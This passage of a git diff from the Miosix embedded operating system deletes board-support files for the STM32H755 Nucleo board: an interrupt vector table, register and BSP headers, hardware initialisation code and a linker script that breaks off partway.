TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDMMC1_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) FDCAN_CAL_IRQHandler(); -void __attribute__((weak)) CM7_SEV_IRQHandler(); -void __attribute__((weak)) CM4_SEV_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); -void __attribute__((weak)) SAI2_IRQHandler(); -void __attribute__((weak)) QUADSPI_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) I2C4_EV_IRQHandler(); -void __attribute__((weak)) I2C4_ER_IRQHandler(); -void __attribute__((weak)) SPDIF_RX_IRQHandler(); -void __attribute__((weak)) OTG_FS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_FS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMAMUX1_OVR_IRQHandler(); -void __attribute__((weak)) HRTIM1_Master_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIMA_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIMB_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIMC_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIMD_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIME_IRQHandler(); -void __attribute__((weak)) HRTIM1_FLT_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT0_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT1_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT2_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT3_IRQHandler(); -void __attribute__((weak)) SAI3_IRQHandler(); -void __attribute__((weak)) SWPMI1_IRQHandler(); -void __attribute__((weak)) TIM15_IRQHandler(); -void __attribute__((weak)) TIM16_IRQHandler(); -void __attribute__((weak)) TIM17_IRQHandler(); -void __attribute__((weak)) MDIOS_WKUP_IRQHandler(); -void __attribute__((weak)) MDIOS_IRQHandler(); -void __attribute__((weak)) JPEG_IRQHandler(); -void __attribute__((weak)) MDMA_IRQHandler(); -void __attribute__((weak)) SDMMC2_IRQHandler(); -void __attribute__((weak)) HSEM1_IRQHandler(); -void __attribute__((weak)) HSEM2_IRQHandler(); -void __attribute__((weak)) ADC3_IRQHandler(); -void __attribute__((weak)) DMAMUX2_OVR_IRQHandler(); -void __attribute__((weak)) BDMA_Channel0_IRQHandler(); -void __attribute__((weak)) BDMA_Channel1_IRQHandler(); -void __attribute__((weak)) BDMA_Channel2_IRQHandler(); -void __attribute__((weak)) BDMA_Channel3_IRQHandler(); -void __attribute__((weak)) BDMA_Channel4_IRQHandler(); -void __attribute__((weak)) BDMA_Channel5_IRQHandler(); -void __attribute__((weak)) BDMA_Channel6_IRQHandler(); -void __attribute__((weak)) BDMA_Channel7_IRQHandler(); -void __attribute__((weak)) COMP1_IRQHandler(); -void __attribute__((weak)) LPTIM2_IRQHandler(); -void __attribute__((weak)) LPTIM3_IRQHandler(); -void __attribute__((weak)) LPTIM4_IRQHandler(); -void __attribute__((weak)) LPTIM5_IRQHandler(); -void __attribute__((weak)) LPUART1_IRQHandler(); -void __attribute__((weak)) WWDG_RST_IRQHandler(); -void __attribute__((weak)) CRS_IRQHandler(); -void __attribute__((weak)) ECC_IRQHandler(); -void __attribute__((weak)) SAI4_IRQHandler(); -void __attribute__((weak)) HOLD_CORE_IRQHandler(); -void __attribute__((weak)) WAKEUP_PIN_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_AVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - FDCAN1_IT0_IRQHandler, - FDCAN2_IT0_IRQHandler, - FDCAN1_IT1_IRQHandler, - FDCAN2_IT1_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_IRQHandler, - TIM1_UP_IRQHandler, - TIM1_TRG_COM_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - 0, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDMMC1_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - FDCAN_CAL_IRQHandler, - CM7_SEV_IRQHandler, - CM4_SEV_IRQHandler, - 0, - 0, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler, - SAI2_IRQHandler, - QUADSPI_IRQHandler, - LPTIM1_IRQHandler, - CEC_IRQHandler, - I2C4_EV_IRQHandler, - I2C4_ER_IRQHandler, - SPDIF_RX_IRQHandler, - OTG_FS_EP1_OUT_IRQHandler, - OTG_FS_EP1_IN_IRQHandler, - OTG_FS_WKUP_IRQHandler, - OTG_FS_IRQHandler, - DMAMUX1_OVR_IRQHandler, - HRTIM1_Master_IRQHandler, - HRTIM1_TIMA_IRQHandler, - HRTIM1_TIMB_IRQHandler, - HRTIM1_TIMC_IRQHandler, - HRTIM1_TIMD_IRQHandler, - HRTIM1_TIME_IRQHandler, - HRTIM1_FLT_IRQHandler, - DFSDM1_FLT0_IRQHandler, - DFSDM1_FLT1_IRQHandler, - DFSDM1_FLT2_IRQHandler, - DFSDM1_FLT3_IRQHandler, - SAI3_IRQHandler, - SWPMI1_IRQHandler, - TIM15_IRQHandler, - TIM16_IRQHandler, - TIM17_IRQHandler, - MDIOS_WKUP_IRQHandler, - MDIOS_IRQHandler, - JPEG_IRQHandler, - MDMA_IRQHandler, - 0, - SDMMC2_IRQHandler, - HSEM1_IRQHandler, - HSEM2_IRQHandler, - ADC3_IRQHandler, - DMAMUX2_OVR_IRQHandler, - BDMA_Channel0_IRQHandler, - BDMA_Channel1_IRQHandler, - BDMA_Channel2_IRQHandler, - BDMA_Channel3_IRQHandler, - BDMA_Channel4_IRQHandler, - BDMA_Channel5_IRQHandler, - BDMA_Channel6_IRQHandler, - BDMA_Channel7_IRQHandler, - COMP1_IRQHandler, - LPTIM2_IRQHandler, - LPTIM3_IRQHandler, - LPTIM4_IRQHandler, - LPTIM5_IRQHandler, - LPUART1_IRQHandler, - WWDG_RST_IRQHandler, - CRS_IRQHandler, - ECC_IRQHandler, - SAI4_IRQHandler, - 0, - HOLD_CORE_IRQHandler, - WAKEUP_PIN_IRQHandler -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_AVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak FDCAN1_IT0_IRQHandler = Default_Handler -#pragma weak FDCAN2_IT0_IRQHandler = Default_Handler -#pragma weak FDCAN1_IT1_IRQHandler = Default_Handler -#pragma weak FDCAN2_IT1_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDMMC1_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak FDCAN_CAL_IRQHandler = Default_Handler -#pragma weak CM7_SEV_IRQHandler = Default_Handler -#pragma weak CM4_SEV_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler -#pragma weak SAI2_IRQHandler = Default_Handler -#pragma weak QUADSPI_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak I2C4_EV_IRQHandler = Default_Handler -#pragma weak I2C4_ER_IRQHandler = Default_Handler -#pragma weak SPDIF_RX_IRQHandler = Default_Handler -#pragma weak OTG_FS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_FS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMAMUX1_OVR_IRQHandler = Default_Handler -#pragma weak HRTIM1_Master_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIMA_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIMB_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIMC_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIMD_IRQHandler = Default_Handler -#pragma weak HRTIM1_TIME_IRQHandler = Default_Handler -#pragma weak HRTIM1_FLT_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT0_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT1_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT2_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT3_IRQHandler = Default_Handler -#pragma weak SAI3_IRQHandler = Default_Handler -#pragma weak SWPMI1_IRQHandler = Default_Handler -#pragma weak TIM15_IRQHandler = Default_Handler -#pragma weak TIM16_IRQHandler = Default_Handler -#pragma weak TIM17_IRQHandler = Default_Handler -#pragma weak MDIOS_WKUP_IRQHandler = Default_Handler -#pragma weak MDIOS_IRQHandler = Default_Handler -#pragma weak JPEG_IRQHandler = Default_Handler -#pragma weak MDMA_IRQHandler = Default_Handler -#pragma weak SDMMC2_IRQHandler = Default_Handler -#pragma weak HSEM1_IRQHandler = Default_Handler -#pragma weak HSEM2_IRQHandler = Default_Handler -#pragma weak ADC3_IRQHandler = Default_Handler -#pragma weak DMAMUX2_OVR_IRQHandler = Default_Handler -#pragma weak BDMA_Channel0_IRQHandler = Default_Handler -#pragma weak BDMA_Channel1_IRQHandler = Default_Handler -#pragma weak BDMA_Channel2_IRQHandler = Default_Handler -#pragma weak BDMA_Channel3_IRQHandler = Default_Handler -#pragma weak BDMA_Channel4_IRQHandler = Default_Handler -#pragma weak BDMA_Channel5_IRQHandler = Default_Handler -#pragma weak BDMA_Channel6_IRQHandler = Default_Handler -#pragma weak BDMA_Channel7_IRQHandler = Default_Handler -#pragma weak COMP1_IRQHandler = Default_Handler -#pragma weak LPTIM2_IRQHandler = Default_Handler -#pragma weak LPTIM3_IRQHandler = Default_Handler -#pragma weak LPTIM4_IRQHandler = Default_Handler -#pragma weak LPTIM5_IRQHandler = Default_Handler -#pragma weak LPUART1_IRQHandler = Default_Handler -#pragma weak WWDG_RST_IRQHandler = Default_Handler -#pragma weak CRS_IRQHandler = Default_Handler -#pragma weak ECC_IRQHandler = Default_Handler -#pragma weak SAI4_IRQHandler = Default_Handler -#pragma weak HOLD_CORE_IRQHandler = Default_Handler -#pragma weak WAKEUP_PIN_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 4b4fb5a56..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,19 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//stm32h7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and -//includes core_cm7.h. Do not include core_cm7.h before. -#define STM32H755xx -#define CORE_CM7 -#include "CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h" - -#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) -#error "Wrong include order" -#endif - -#include "CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h" - -#define RCC_SYNC() __DSB() - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/interfaces-impl/bsp.cpp deleted file mode 100644 index ddfd28ee2..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,121 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB4ENR |= RCC_AHB4ENR_GPIOAEN | RCC_AHB4ENR_GPIOBEN | - RCC_AHB4ENR_GPIOCEN | RCC_AHB4ENR_GPIODEN | - RCC_AHB4ENR_GPIOEEN | RCC_AHB4ENR_GPIOFEN | - RCC_AHB4ENR_GPIOGEN | RCC_AHB4ENR_GPIOHEN | - RCC_AHB4ENR_GPIOJEN | RCC_AHB4ENR_GPIOKEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOF->OSPEEDR=0xaaaaaaaa; - GPIOG->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - GPIOJ->OSPEEDR=0xaaaaaaaa; - GPIOK->OSPEEDR=0xaaaaaaaa; - - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - auto tx=Gpio::getPin(); tx.alternateFunction(7); - auto rx=Gpio::getPin(); rx.alternateFunction(7); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerialPort,defaultSerialSpeed,tx,rx))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/interfaces-impl/bsp_impl.h deleted file mode 100644 index 6dcfe5b95..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,80 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/stm32_1M+512k_rom.ld b/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/stm32_1M+512k_rom.ld deleted file mode 100644 index c500dedec..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/stm32_1M+512k_rom.ld +++ /dev/null @@ -1,168 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 512K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x24000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap */ -_heap_end = 0x24080000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - /* NOTE: the other 1MB flash must contain the other core reset vector */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - - /* NOTE: for now we support only the AXI SRAM */ - ram(wx) : ORIGIN = _main_stack_top, LENGTH = 512K-_main_stack_size -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP 